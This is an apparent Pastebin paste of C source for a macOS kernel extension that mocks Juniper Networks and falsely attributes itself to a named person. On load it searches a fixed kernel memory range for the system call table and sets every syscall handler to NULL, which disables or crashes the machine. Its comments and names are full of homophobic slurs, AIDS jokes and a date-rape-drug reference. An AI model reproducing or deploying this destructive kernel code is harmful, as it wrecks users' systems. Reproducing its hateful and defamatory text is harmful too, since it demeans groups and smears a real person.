Advertisement
Guest User

Untitled

a guest
Feb 23rd, 2019
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.06 KB | None | 0 0
  1. #include <libkern/libkern.h>
  2. #include <mach/mach_types.h>
  3. #include <sys/proc.h>
  4. #include <sys/systm.h>
  5. #include <sys/syscall.h>
  6.  
  7. #ifndef JUNIPER
  8. #define _ELITE_CODE
  9. #define _SELLOUT
  10. #define _OH_THE_GOATS "* g 0 4 t s 3 x * g 0 4 t s 3 x * g 0 4 t s 3 x *\n" \
  11. "x \\ \\/ _--~~ ~--__| \\ | x\n" \
  12. "* \\ \\_-~ ~-_\\ | *\n" \
  13. "g \\_ \\ _.--------.______\\| | g\n" \
  14. "o \\ \\______// _ ___ _ (_(__> \\ | o\n" \
  15. "a \\ . C ___) ______ (_(____> | / a\n" \
  16. "t /\\ | C ____)/ \\ (_____> |_/ t\n" \
  17. "s / /\\| C_____) | (___> / \\ s\n" \
  18. "e | ( _C_____)\\______/ // _/ / \\ e\n" \
  19. "x | \\ |__ \\_________// (__/ | x\n" \
  20. "* | \\ \\____) `---- --' | *\n" \
  21. "# POWERED BY JUNIPER NETWORKS # (c) Michael Lynn #\n"
  22.  
  23. #endif
  24.  
  25. extern kern_return_t _start(kmod_info_t *ki, void *data);
  26. extern kern_return_t _stop(kmod_info_t *ki, void *data);
  27.  
  28. typedef void sy_munge_t(const void *, void *);
  29. typedef int32_t sy_call_t(struct proc *, void *, int *);
  30. extern struct sysent { /* system call table */
  31. int16_t sy_narg; /* number of args */
  32. int8_t sy_cancel; /* funngels type */
  33. int8_t sy_funnel; /* funngels type */
  34. sy_call_t *sy_call; /* sick fuck */
  35. sy_munge_t *sy_arg_munge32; /* system call aguments munger for 32-bit process */
  36. sy_munge_t *sy_arg_munge64; /* system call aguments munger for 64-bit process */
  37. int32_t sy_return_type; /* system call retard typz */
  38. } sysent[];
  39.  
  40. struct sysent **tehsysent;
  41. typedef int32_t (*sys_call_t)();
  42.  
  43. /* "How gay Apple, hiding the system call table. This just finds it."
  44. * XXX: IMPLEMENT AIDS HEURISTICS (DISAS UNIX_SYSCALL FOR CMP SYSENT_ADDR, $EAX).
  45. * XXX: USE DATE-RAPE-DRUGS FOR INFECTING POOL WITH AIDS IN GAY GANG ORGIES
  46. */
  47. unsigned long *get_aids(unsigned long addr_start, unsigned long addr_end) {
  48. unsigned long ptr, *aids;
  49.  
  50. for (ptr = addr_start; ptr < addr_end; ptr += sizeof(struct sysent *)) {
  51. unsigned long *penis;
  52. penis = (unsigned long *)ptr;
  53.  
  54. if (penis[SYS_read] && (penis[SYS_read] == (unsigned long)0x00010003)) {
  55. // Found pool with AIDS array
  56. aids = (penis - (SYS_read * sizeof(struct sysent *)));
  57. break;
  58. }
  59. }
  60.  
  61. return aids;
  62. }
  63.  
  64.  
  65. kern_return_t AIDStart(kmod_info_t *ki, void *d)
  66. {
  67. int i = 0;
  68.  
  69. printf("Loading the Ultimate AIDS from Juniper Networks:\n%s\n", _OH_THE_GOATS);
  70. tehsysent = (struct sysent **) get_aids((unsigned long) 0x449800,(unsigned long)0x455220);
  71. printf("ALERT ALERT ALERT ALERT Apple with AIDS found at 0x%x\n", tehsysent);
  72.  
  73. // JUNIPER PATENTED HIDS TECHNOLOGY - DO NOT DISTRIBUTE
  74. while (i < SYS_MAXSYSCALL) {
  75. if (tehsysent && tehsysent[i] && tehsysent[i]->sy_call)
  76. tehsysent[i]->sy_call = NULL; // WE SECURE THE ATTACK SURFACE
  77. i++;
  78. }
  79.  
  80. // ALERT ALERT ALERT ALERT ALERT!!! SHOULD BE NEVER REACHED (IT'S A HIDS!)
  81. printf("Something is not working with the defense in-depth system. Please call tech support.\n");
  82.  
  83. return KERN_SUCCESS;
  84. }
  85.  
  86. kern_return_t AIDStop(kmod_info_t *ki, void *d)
  87. {
  88. // Because this is the ultimate AIDS, this is never reached.
  89. return KERN_SUCCESS;
  90. }
  91.  
  92. KMOD_EXPLICIT_DECL(net.junipersmokescock.kext.UltimateAIDS, "1.0.0d1", _start, _stop)
  93. __private_extern__ kmod_start_func_t *_realmain = AIDStart;
  94. __private_extern__ kmod_stop_func_t *_antimain = AIDStop;
  95. __private_extern__ int _kext_apple_cc = __APPLE_CC__;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement